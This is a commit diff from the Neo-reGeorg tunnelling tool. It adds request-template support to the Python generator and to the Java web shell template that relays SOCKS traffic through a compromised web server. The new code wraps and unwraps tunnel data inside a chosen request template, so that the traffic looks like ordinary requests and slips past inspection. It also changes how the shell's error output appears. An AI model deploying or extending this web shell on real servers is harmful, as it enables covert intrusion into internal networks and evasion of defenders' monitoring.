java add --request-template support

Author: L-codes

neoreg.py

@@ -982,11 +982,11 @@ def choice_useragent():
         request_template_start_index = 0
         request_template_end_index = 0
         if request_template:
-            use_request_template = 'true'
+            use_request_template = 1
             request_template_start_index = len(request_template[0])
-            request_template_end_index = - len(request_template[1])
+            request_template_end_index = len(request_template[1])
         else:
-            use_request_template = 'false'
+            use_request_template = 0
 
         for filename in os.listdir(script_dir):
             outfile = os.path.join(outdir, filename)
@@ -998,6 +998,8 @@ def choice_useragent():
                 text = re.sub(r"\bHTTPCODE\b", str(args.httpcode), text)
                 text = re.sub(r"\bREADBUF\b", str(READBUF), text)
                 text = re.sub(r"\bMAXREADSIZE\b", str(MAXREADSIZE), text)
+
+                # request template
                 text = re.sub(r"USE_REQUEST_TEMPLATE", str(use_request_template), text)
                 text = re.sub(r"START_INDEX", str(request_template_start_index), text)
                 text = re.sub(r"END_INDEX", str(request_template_end_index), text)

templates/NeoreGeorg.java

@@ -35,6 +35,10 @@ public boolean equals(Object obj) {
             String GeorgHello = (String)  args[7];
             int BLV_L_OFFSET  = (Integer) args[8];
 
+            int USE_REQUEST_TEMPLATE = (Integer) args[9];
+            int START_INDEX   = (Integer) args[10];
+            int END_INDEX     = (Integer) args[11];
+
             int DATA          = 1;
             int CMD           = 2;
             int MARK          = 3;
@@ -50,6 +54,8 @@ public boolean equals(Object obj) {
 
             Object[] info  = new Object[40];
             Object[] rinfo = new Object[40];
+            String requestDataHead = "";
+            String requestDataTail = "";
             try {
                 if (((int)(Integer)(invokeMethod(request, "getContentLength", new Object[0]))) != -1) {
                     String inputData = "";
@@ -63,11 +69,19 @@ public boolean equals(Object obj) {
                             break;
                         inputData += new String(buff);
                     }
+                    if (USE_REQUEST_TEMPLATE == 1) {
+                        requestDataHead = inputData.substring(0, START_INDEX);
+                        requestDataTail = inputData.substring(inputData.length() - END_INDEX, inputData.length());
+
+                        inputData = inputData.substring(START_INDEX);
+                        inputData = inputData.substring(0, inputData.length() - END_INDEX);
+                    }
                     byte[] data = b64de(inputData);
                     info = blv_decode(data, BLV_L_OFFSET);
                 }
             } catch ( Exception e) {
-                out.write(new String(b64de(GeorgHello)));
+                // out.write(new String(b64de(GeorgHello)));
+                out.write(e.toString());
                 out.flush();
                 out.close();
                 return false; // exit
@@ -114,7 +128,7 @@ public boolean equals(Object obj) {
                             return false;
                         }
 
-                        String newData = b64en(blv_encode(info, BLV_L_OFFSET));
+                        String newData = requestDataHead + b64en(blv_encode(info, BLV_L_OFFSET)) + requestDataTail;
                         byte[] data = newData.getBytes();
                         output.write(data, 0, data.length);
                         output.flush();